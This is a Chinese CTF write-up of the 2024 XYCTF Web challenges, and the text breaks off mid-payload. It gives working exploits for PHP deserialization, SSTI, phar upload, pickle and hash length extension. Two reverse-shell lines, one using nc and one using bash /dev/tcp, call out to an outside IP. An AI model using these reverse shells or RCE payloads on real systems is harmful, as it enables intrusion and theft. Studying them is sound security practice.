2024 XYCTF Web 方向 wp 全解

2024-04-27 16:20
文章标签 web 方向 2024 wp 全解 xyctf

本文主要是介绍2024 XYCTF Web 方向 wp 全解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

2024 XYCTF Web 方向 全解

文章目录

  • 2024 XYCTF Web 方向 全解
  • Web
    • ezhttp
      • 考点:信息泄露+基础发包
    • warm up
      • 考点:php黑魔法+变量覆盖
    • ezRCE
      • 考点:无字母RCE(bashfuck)+shell变量构造RCE
    • ezmd5
      • 考点:md5文件强相等
    • ezunserilze
      • 考点:引用绕过强相等+php原生类读文件
    • 牢牢记住,逝者为大
      • 考点:php代码执行过滤绕过
    • ezMake
      • 考点:命令执行绕过+shell变量替换符读文件 trick
    • ez?Make
      • 考点:读文件+文件名过滤
    • εZ?¿м@Kε¿?
      • 考点:报错读文件+makefile自动变量
    • 我是一个复读机
      • 考点:弱密码+SSTI的简单绕过(requests)
    • Pharme
      • 考点:文件上传+phar文件包含+无参代码执行RCE+`__halt_compiler`函数的应用
    • 连连看到底是连连什么看
      • 考点:php filter chain构造指定字符串
    • ezpop
      • 考点:Fast-destruct+call_user_func闭包RCE
    • ezClass
      • 考点:php原生类构造字符串+php动态执行函数特性
    • login
      • 考点:pickle反序列化字节码绕过(opache绕过)
    • give me flag
      • 考点:hash长度扩展攻击
    • ezLFI
      • 考点: php filter chain+阅读dockerfile
    • baby_unserialize
      • 考点:Java反序列化+Jrmp绕过黑名单

Web

ezhttp

考点:信息泄露+基础发包

image.png
访问 /robots.txt
image.png
访问 /l0g1n.txt

username: XYCTF
password: @JOILha!wuigqi123$

登录
image.png
添加Referer
image.png
image.png
添加User-Agent
image.png
image.png
直接burp(fake ip)插件一把梭
image.png
添加 Via
image.png
添加 Cookie
image.png
可以拿flag

warm up

考点:php黑魔法+变量覆盖

<?php  
include 'next.php';  
highlight_file(__FILE__);  
$XYCTF = "Warm up";  
extract($_GET);  if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {  echo "ez" . "<br>";  
} else {  die("什么情况,这么基础的md5做不来");  
}  if (isset($md5) && $md5 == md5($md5)) {  echo "ezez" . "<br>";  
} else {  die("什么情况,这么基础的md5做不来");  
}  if ($XY == $XYCTF) {  if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {  echo $level2;  } else {  die("什么情况,这么基础的md5做不来");  }  
} else {  die("学这么久,传参不会传?");  
}

extract是典型的变量覆盖关键字
1.md5弱类型,数组绕过即可

$_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2']

2.随便在网上找个md5结果为0e开头字符串而且本身是0e开头的
0e215962017 --------->md5(0e215962017)=0e291242476940776845150308577824

$md5 == md5($md5)
比如:0e123==0e321

3.$XY == $XYCTF变量覆盖 直接串$XY$XYCTF即可
4.0e绕过md5弱相等

$XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591"))

image.png
可以沿用0e215962017的结果
image.png
进入 LLeeevvveeelll222.php

<?php  
highlight_file(__FILE__);  
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {  echo "操作你O.o";  echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level  
} else {  die("有点汗流浃背");  
}

注意当前php版本较低
image.png
典型的preg_replace命令执行
!preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a']
intval 数组绕过即可
image.png
preg_replace()+/e执行任意命令
image.png
可以成功拿到flag
image.png

ezRCE

考点:无字母RCE(bashfuck)+shell变量构造RCE

<?php  
highlight_file(__FILE__);  
function waf($cmd){    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];     $cmd_char = str_split($cmd);  foreach($cmd_char as $char){  if (!in_array($char, $white_list)){  die("really ez?");  }  }  return $cmd;  
}  
$cmd=waf($_GET["cmd"]);  
system($cmd);

快速利用可以用探姬的项目bashFuck
例如 ls
image.png
可以成功执行结果

我们可以尝试{ls,/}
image.png
image.png

此时的payload会发现是无效的,思考这是为什么?
原因是 $'\173\154\163\54\57\175' 被shell解析后 当作了字符 {ls,/}而不是命令,没有任何意义
现在问题转换成如何正确表示空格和命令
发现 一篇文章 利用shell脚本变量构造无字母数字命令
文中就是答案
image.png
通过bash<<<{cat,/f*}将 命令两次管道解析保证命令可以直接执行

bash  $'\142\141\163\150'
{cat,/f*} $'\173\143\141\164\54\57\146\52\175'
$'\142\141\163\150'<<<$'\173\143\141\164\54\57\146\52\175'

第一次,解析shell为bash<<{cat,/f*}
第二次,将{cat,/f*}传递给bash正确解析
image.png
可以得到flag

ezmd5

考点:md5文件强相等

image.png
用工具fastcoll强碰撞
image.png
上传1.jpg和2.jpg即可
image.png

ezunserilze

考点:引用绕过强相等+php原生类读文件

<?php  
include 'flag.php';  
highlight_file(__FILE__);  
error_reporting(0);  class Flag {  public $token;  public $password;  public function __construct($a, $b)  {        $this->token = $a;        $this->password = $b;  }  public function login()  {  return $this->token === $this->password;  }  
}  if (isset($_GET['pop'])) 
{    $pop = unserialize($_GET['pop']);    $pop->token=md5(mt_rand());  if($pop->login()) {  echo $flag;  }  
}

第一段:引用绕过强相等
payload:

<?php 
class Flag { public $token; public $password; public function __construct() { $this->password = &$this->token;  } } $flag = new Flag(); echo serialize($flag); 
?>

image.png
访问 fpclosefpclosefpcloseffflllaaaggg.php
第二段:PHP反序列化可控任意属性

<?php  
highlight_file(__FILE__);  
class A {  public $mack;  public function __invoke()  {  $this->mack->nonExistentMethod();  }  
}  class B {  public $luo;  public function __get($key){  echo "o.O<br>";  $function = $this->luo;  return $function();  }  
}  class C {  public $wang1;  public function __call($wang1,$wang2)  {  include 'flag.php';  echo $flag2;  }  
}  class D {  public $lao;  public $chen;  public function __toString(){  echo "O.o<br>";  return is_null($this->lao->chen) ? "" : $this->lao->chen;  }  
}  class E {  public $name = "xxxxx";  public $num;  public function __unserialize($data)  {  echo "<br>学到就是赚到!<br>";  echo $data['num'];  }  public function __wakeup(){  if($this->name!='' || $this->num!=''){  echo "旅行者别忘记旅行的意义!<br>";  }  }  
}  if (isset($_POST['pop'])) {  unserialize($_POST['pop']);  
}

编写Poc

<?php
class A {public $mack;}class B {public $luo;}class C {public $wang1;}class D {public $lao;public $chen;}class E {public $name = "xxxxx";public $num;}
$e=new E();
$e->name=new D();
$e->name->lao=new B();
$e->name->lao->luo=new A();
$e->name->lao->luo->mack=new C();
echo(serialize($e));

image.png

访问saber_master_saber_master.php

<?phperror_reporting(0);
highlight_file(__FILE__);// flag.php
class XYCTFNO1
{public $Liu;public $T1ng;private $upsw1ng;public function __construct($Liu, $T1ng, $upsw1ng = Showmaker){$this->Liu = $Liu;$this->T1ng = $T1ng;$this->upsw1ng = $upsw1ng;}
}class XYCTFNO2
{public $crypto0;public $adwa;public function __construct($crypto0, $adwa){$this->crypto0 = $crypto0;}public function XYCTF(){if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {return False;} else {return True;}}
}class XYCTFNO3
{public $KickyMu;public $fpclose;public $N1ght = "Crypto0";public function __construct($KickyMu, $fpclose){$this->KickyMu = $KickyMu;$this->fpclose = $fpclose;}public function XY(){if ($this->N1ght == 'oSthing') {echo "WOW, You web is really good!!!\n";echo new $_POST['X']($_POST['Y']);}}public function __wakeup(){if ($this->KickyMu->XYCTF()) {$this->XY();}}
}if (isset($_GET['CTF'])) {unserialize($_GET['CTF']);
}

POC:

<?php// flag.php
class XYCTFNO1
{public $Liu;public $T1ng;public $upsw1ng;}class XYCTFNO2
{public $crypto0;public $adwa;}class XYCTFNO3
{public $KickyMu;public $fpclose;public $N1ght = "Crypto0";}$xyctf3=new XYCTFNO3();
$xyctf3->N1ght='oSthing';
$xyctf3->KickyMu=new XYCTFNO2();
$xyctf3->KickyMu->adwa=new XYCTFNO1();
$xyctf3->KickyMu->adwa->crypto0='dev1l';
$xyctf3->KickyMu->adwa->T1ng='yuroandCMD258';
echo(serialize($xyctf3));

image.png
最终命令执行触发点
echo new $_POST['X']($_POST['Y']);
php原生类读文件 SplFileObject(默认读一行)
所以要结合php伪协议读文件全部内容
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
image.png
解码就是flag
image.png

牢牢记住,逝者为大

考点:php代码执行过滤绕过

<?php  
highlight_file(__FILE__);  
function Kobe($cmd)  
{  if (strlen($cmd) > 13) {  die("see you again~");  }  if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {  die("肘死你");  }  foreach ($_GET as $val_name => $val_val) {  if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {  return "what can i say";  }  }  return $cmd;  
}  $cmd = Kobe($_GET['cmd']);  
echo "#man," . $cmd  . ",manba out";  
echo "<br>";  
eval("#man," . $cmd . ",mamba out");

有长度限制strlen($cmd) > 13
考虑 反引号执行系统命令(只有两个字符) 等价于 `shell_exec(); 这个命令是没有回显的
做个转接头 逃逸 命令长度限制

`$_GET[1]`;

将执行 GET参数中1的值
过滤后最终执行eval("#man," . $cmd . ",mamba out");有无关字符
# 在php中是单行注释符 用 %0A换行即可绕过(到下一行了)
. ",mamba out" 后面有无关字符 用#注释后面即可
payload: 刚好13个字符

cmd=%0a`$_GET[1]`;%23

没有回显考虑反弹shell
payload

?cmd=%0a`$_GET[1]`;%23&1=nc 148.135.82.190 8888 -e /bi''n/sh

可以成功用nc反弹shell
image.png

ezMake

考点:命令执行绕过+shell变量替换符读文件 trick

清空 默认环境变量,但是发现echo可用
法一:利用shell变量替换符$(<file)读文件
看看可以如何用
image.png
坑点:这里两个$$才代表一个$注意一下
echo $$(<flag)
直接读flag
image-20240402202720412
报错带出也是可以的
image.png

法二:直接访问/flag在当前目录下,直接下载下来即可
010打开后
image.png
直接就是flag

ez?Make

考点:读文件+文件名过滤

flag在根目录下
image.png
cd到根目录下
image.png
通过shell正则匹配到flag文件,用more读取(大概禁了f,l,a,g ,/字符)
image.png
[^b]代表不是b的其他字符

εZ?¿м@Kε¿?

考点:报错读文件+makefile自动变量

Makefile 自动变量
在Makefile中,大家经常会见到类似 @ 、 @、 @^、$<这种类型的变量。这种变量一般称为自动变量,自动变量是局部变量,作用域范围在当前的规则内,它们分别代表不同的含义:

  • $@:目标
  • $^:所有目标依赖
  • $<:目标依赖列表中的第一个依赖
  • ? :所有目标依赖中被修改过的文件这里第一个依赖是就是 / f l a g ( 注意 = = 坑点 = = ,之前不要试 ?:所有目标依赖中被修改过的文件 这里第一个依赖是就是 /flag (注意==坑点==,之前不要试 ?:所有目标依赖中被修改过的文件这里第一个依赖是就是/flag(注意==坑点==,之前不要试>,会导致重定向输出创建新文件了,直接影响了后续判断为依赖是FLAG,卡了半天读不到/flag)
    image.png
    配和报错带出即可 参照前面ezMake
    坑点:这里两个$$才代表一个$
    $$(<$<)
    image.png

我是一个复读机

考点:弱密码+SSTI的简单绕过(requests)

账号admin 密码asdqwe
构造错误数据登录包
image.png
直接将题目考点暴露出来 一定是SSTI
简单Fuzz一下
image.png
发现标签都闭合不了{{}},{%%}
思考是不是代表不能做?
测了一下中文全角(任意全角字符)都可以返回正常的{}(有点脑洞)
image.png
image.png
requests,args,.没有禁止
直接requests绕过关键词过滤|attr()绕过[]过滤

[[lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read

image.png

直接读flag

Pharme

考点:文件上传+phar文件包含+无参代码执行RCE+__halt_compiler函数的应用

先创建phar文件

<?phpclass evil{public $cmd;public $a;}@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');  //写入stub
$o=new evil();
$o->cmd='print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

得到test.phar文件
image.png
上传phar文件
image.png
文件上传存在典型检测__HALT_COMPILER被过滤了 将生成的Phar文件进行gzip压缩绕过即可
gzip压缩后,修改后缀为jpg
image.png
成功上传
拿文件上传地址
/tmp/0412c29576c708cf0155e8de242169b1.jpg

image.png
访问class.php内容

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{public $cmd;public $a;public function __destruct(){if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){eval($this->cmd.'isbigvegetablechicken!');} else {echo 'nonono';}}
}if(isset($_POST['file']))
{if(preg_match('/^phar:\/\//i',$_POST['file'])){die("nonono");}file_get_contents($_POST['file']);
}

关键点1.if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)))
A-Z,a-z,_,(,)替换为空后将留下的;替换为ch3nx1后检查是否是等于ch3nx1
简单来说就是典型的 无参代码执行RCE
用常见的绕过手法即可
关键点2.preg_match('/^phar:\/\//i 开头不能是phar://
直接php://filtr/resource=phar://绕过即可
关键点3. eval($this->cmd.'isbigvegetablechicken!');
我们的问题是:如何正常执行前面内容而忽视后面的编译错误
通过利用__halt_compiler 函数 中断编译器的执行 可以达成这个效果
image.png
image.png
等价执行了print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();
eval()执行host之前的请求头
image.png
直接可以得到flag
题目溯源:

  1. 安洵杯SYCCTF2023 4号的罗纳尔多 POC基本一模一样image.png

  2. 2022 极客大挑战 ezRCE

连连看到底是连连什么看

考点:php filter chain构造指定字符串

优秀的Github项目:
1.php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator
2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本)
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
注意:以上项目只实现了构造目标字符串,字符集存在乱码,如果要构造明确的字符,需要了解构造php filter chain构造基本原理
image.png
保证php filter chain生成内容是XYCTF就可以得到flag
这里我们用php_filter_chain_generator辅助分析
image.png
先在本地测试调试输出
image.png
可以构造出XYCTF+一堆乱码
现在的问题是 如何去掉这堆乱码
法一:
最简解 配合 string.strip_tags过滤器剔除垃圾字符
可以去掉php,html标签内容,<我是垃圾>甚至可以是没有闭合的标签<垃圾是我后的所有字符
image.png
(这里虽然说是php7.3.0后废除,但是我看了看网上在线的php官方文档直到php8.0还没有完全废弃)
所以也是可以用的,嘿嘿
我们构造XYCTF<
image.png
image.png
手动添加string.strip_tags
直接剔除<后面的垃圾字符,输出flag
image.png
POC

convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

image.png
远程一样打通
法二:
手搓字符(利用base-decode去除非码表字符特性)
编码时遵循3变4原则,缺就用=补位
简单测试一下
image-20240411200153424
先解码后编码 -----> 可以看到 后面的 非码表字符 被剔除了
不能正常解码可以手动填充数据(用码表字符补)直到乱码中没有码表字符,也别带=号(填充可有可无,但是多次解码后会影响结果) 接下来不断解码编码
image.png

image.png
手动构造出字符VmpCYWMxSkdXa1pYVVdGRFEwUWUar base64-decode 4次可以剔除垃圾字符 构造出XYCTF
image.png
手动加 base64-decode 4次即可
image.png
还是挺神奇的,不过不推荐,容易出错
法三:
poc脚本修改
队友给了个脚本,因为 =是 工具 作者没有Fuzzing出来的
所以在直接在去掉=填充也不影响数据

import base64  file_to_use = "/etc/passwd"  #<?php eval($_GET[1]);?>a  
base64_payload=base64.b64encode("Vm1wQ1lXTXhTa2RYYTFwWVZWRQ".encode()).decode().replace("=","")  
print(base64_payload)  
# generate some garbage base64  
filters = "convert.iconv.UTF8.CSISO2022KR|"  
filters += "convert.base64-encode|"  
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file  
filters += "convert.iconv.UTF8.UTF7|"  for c in base64_payload[::-1]:  filters += open('./res/'+(str(hex(ord(c)))).replace("0x","")).read() + "|"  # decode and reencode to get rid of everything that isn't valid base64  filters += "convert.base64-decode|"  filters += "convert.base64-encode|"  # get rid of equal signs  filters += "convert.iconv.UTF8.UTF7|"  filters += "convert.base64-decode"  final_payload = f"php://filter/{filters}/resource={file_to_use}"  with open('test.php','w') as f:  f.write('<?php echo file_get_contents("'+final_payload+'");?>')  
print(filters)

解base64-decode 7次可以拿到XYCTF

ezpop

考点:Fast-destruct+call_user_func闭包RCE

<?php  
error_reporting(0);  
highlight_file(__FILE__);  class AAA  
{  public $s;  public $a;  public function __toString()  {  echo "you get 2 A <br>";        $p = $this->a;  return $this->s->$p;  }  
}  class BBB  
{  public $c;  public $d;  public function __get($name)  {  echo "you get 2 B <br>";        $a=$_POST['a'];        $b=$_POST;        $c=$this->c;        $d=$this->d;  if (isset($b['a'])) {  unset($b['a']);  }        call_user_func($a,$b)($c)($d);  }  
}  class CCC  
{  public $c;  public function __destruct()  {  echo "you get 2 C <br>";  echo $this->c;  }  
}  if(isset($_GET['xy'])) {    $a = unserialize($_GET['xy']);  throw new Exception("noooooob!!!");  
}

关键点1.绕过throw new Exception("noooooob!!!");
Fast-destruct即可:删除末尾的} 快速触发__destruct() (垃圾回收机制)从而绕过抛出异常终止执行
关键点2.call_user_func($a,$b)($c)($d);
$b$_POST的数组(去除了a)
等价于call_user_func($a,['key'=>'value'])($c)($d);
call_user_func用法
image.png
思考我们PHP命令执行的几种形式,我们要如何将它联系在一起来了?
在PHP>7后,支持('system')('ls')这种动态执行函数的特性
简单测测 任意闭包会影响结果吗?
image.png

('system')('ls')('J1rrY')(668)(996);任意闭包都不会影响我们的结果
那么我们现在的问题是如何让call_user_func($a,['key'=>'value'])返回字符串而且回调函数接受一个数组,我们自然而然想到implode函数,将数组的值拼接为一个字符串,非常符合我们的预期
简单测试一下
image.png

可以成功执行我们的系统命令,至此整条链子也通了
编写简单的POP链

<?php
error_reporting(0);
class AAA
{public $s;public $a;
}
class BBB
{public $c;public $d;}class CCC
{public $c;
}
$c=new CCC();
$c->c=new AAA();
$c->c->s=new BBB();
$c->c->a="test";
$c->c->s->c='cat /f*';
$c->c->s->d=0;
echo(serialize($c));

生成后删除末尾 }
payload:
O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:7:"cat /f*";s:1:"d";i:0;}s:1:"a";s:4:"test";}
image.png
直接读到flag
题目溯源:
1.Lctf 2018 bestphp’s revenge

<?php  
highlight_file(__FILE__);  
$b = 'implode';  
call_user_func($_GET['f'], $_POST);  
session_start();  
if (isset($_GET['name'])) {    
$_SESSION['name'] = $_GET['name'];  
}  
var_dump($_SESSION);  
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');  
call_user_func($b, $a);  
?>

ezClass

考点:php原生类构造字符串+php动态执行函数特性

<?php  
highlight_file(__FILE__);  
$a=$_GET['a'];  
$aa=$_GET['aa'];  
$b=$_GET['b'];  
$bb=$_GET['bb'];  
$c=$_GET['c'];  
((new $a($aa))->$c())((new $b($bb))->$c());

结构 new 一个类(参数)->执行方法
利用Error类的静态方法 getMessage返回任意字符结合php的动态执行特性
image.png
例如new Error("system")->getMessage 会返回system
image.png
POC

?a=Error&aa=system&b=Error&bb=cat /f*&c=getMessage

image.png

login

考点:pickle反序列化字节码绕过(opache绕过)

image.png
看后缀可能认为是php做后端,但是服务器的响应式flask的框架(fake php)
经典注册登录 /register.php
注册一个账号 1,1 登录成功后 查看 cookie
image.png
怀疑RememberMe的字段是 pickle反序列化后的数据
写个脚本反序列化一下

import pickleimport base64import pickletoolscookie="gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="data=base64.b64decode(cookie)  print(pickletools.dis(data))

image.png
确定是 pickle反序列化的题目
简单Fuzz发现是过滤 R,r字符
考虑 opache绕过 比如 i 方向 之前写过文章总结过这里不重复了
当时笔记是

[!NOTE]
可以直接拼接pickle数据(不用伪造flask-session的题)
直接将base64-decode数据最后的.去掉后贴payload直接打反弹shell

\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub.
.代表结束 可以将两个pickle流直接拼接在一起

i可用 
b'''(S'whoami'\nios\nsystem\n.'''

拼接一下

\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub(S'bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"'\nios\nsystem\n.
import pickleimport base64import pickletoolscookie="gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="print(base64.b64decode(cookie))import base64#bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"opcode=b'''\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub(S'bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"'\nios\nsystem\n.'''print(base64.b64encode(opcode))

对数据base64编码后

gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViKFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjEiJwppb3MKc3lzdGVtCi4=

发送请求
image.png
可以直接反弹shell
image.png
image.png

直接拿flag即可

give me flag

考点:hash长度扩展攻击

典型md5长度扩展攻击 md5($FLAG.$value.$time)===$md5

<?php  
include('flag.php');  
$FLAG_md5 = md5($FLAG);  
if(!isset($_GET['md5']) || !isset($_GET['value']))  
{    highlight_file(__FILE__);  die($FLAG_md5);  
}  $value = $_GET['value'];  
$md5 = $_GET['md5'];  
$time = time();  if(md5($FLAG.$value.$time)===$md5)  
{  echo "yes, give you flag: ";  echo $FLAG;  
}

推荐中文项目:https://github.com/shellfeel/hash-ext-attack
原先的 hashpump项目作者github删库了
法一:最简解(直接手测)
unxi时间戳
image.png

注意unix时间戳 建议提前100秒
直接将 md5($FLAG) 的值输出了
image.png
md5($FLAG.$value.$time)===$md5
$timeunix时间做了后缀字符
比如我当时的时间戳是1714025400 那我写后缀是就是 1714025500
image.png
但是如何判断flag的长度了?
完全可以 根据平台特性是动态flag 位数是固定的43位,可以参考之前的flag 猜出来
注意提交的$value是%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%001714025500去掉后缀的时间戳%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00
写个脚本不断请求

import requestsurl='http://127.0.0.1:54572/?md5=c3512fdf01f911d012d043c8b39ed98e&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00'while True:res=requests.get(url=url)if "{" in res.text:print(res.text)break

image.png
就可以直接拿到flag
法二: 当时写了个脚本做的(有网络延迟time增加一点即可)
阅读项目源码原理,配合 hash-ext-attack项目调试即可
image.png

import requests
import time
import sys
import urllib.parse
from loguru import logger
from common.HashExtAttack import HashExtAttackhash_ext_attack = HashExtAttack()logger.remove()logger.add(sys.stderr, level="INFO")initial_url = ''while True:for i in range(7,50):new_text_part, new_hash = hash_ext_attack.run('', '28aefeaefd98fd5a4b25cc913cd06484', '', i)quote = urllib.parse.quote(new_text_part, safe='&=')new_text_part2, new_hash2 = hash_ext_attack.run('', '28aefeaefd98fd5a4b25cc913cd06484', str(int(time.time())+1), i)url = f"{initial_url}/?md5={new_hash2}&value={quote}"response = requests.get(url=url)print(f"Time:+{int(time.time())}")text = response.textprint(f"Response: {text}")if "{" in response.text:print(f"found Flag: {response.text}")break

ezLFI

考点: php filter chain+阅读dockerfile

在docker文件中设置权限问题
chmod 400 /flag 只有文件所有者可以读取文件内容
存在/readflag说明要执行shell命令
给了include_once();
没什么好说的一眼php filter chain构造任意字符,考点重复了?
用php_filter_chain生成一句话木马即可
优秀的Github项目:
1.php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator
2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本)
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
注意:以上项目只实现了构造目标字符串,字符集可能存在乱码,如果要构造明确的字符,需要了解基本原理
考法:

  1. 文件包含直接rce(绕过include指定后缀或文件限制)
  2. 构造任意字符过判断
    注意一下:
    如果服务器无响应说明生成的php filter chain中有靶机系统不支持的字符集,换一个项目生成,注意一下,我这里用的是PHP_INCLUDE_TO_SHELL_CHAR_DICT项目
    构造一句话木马<?php eval($_GET[1]);?>
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.C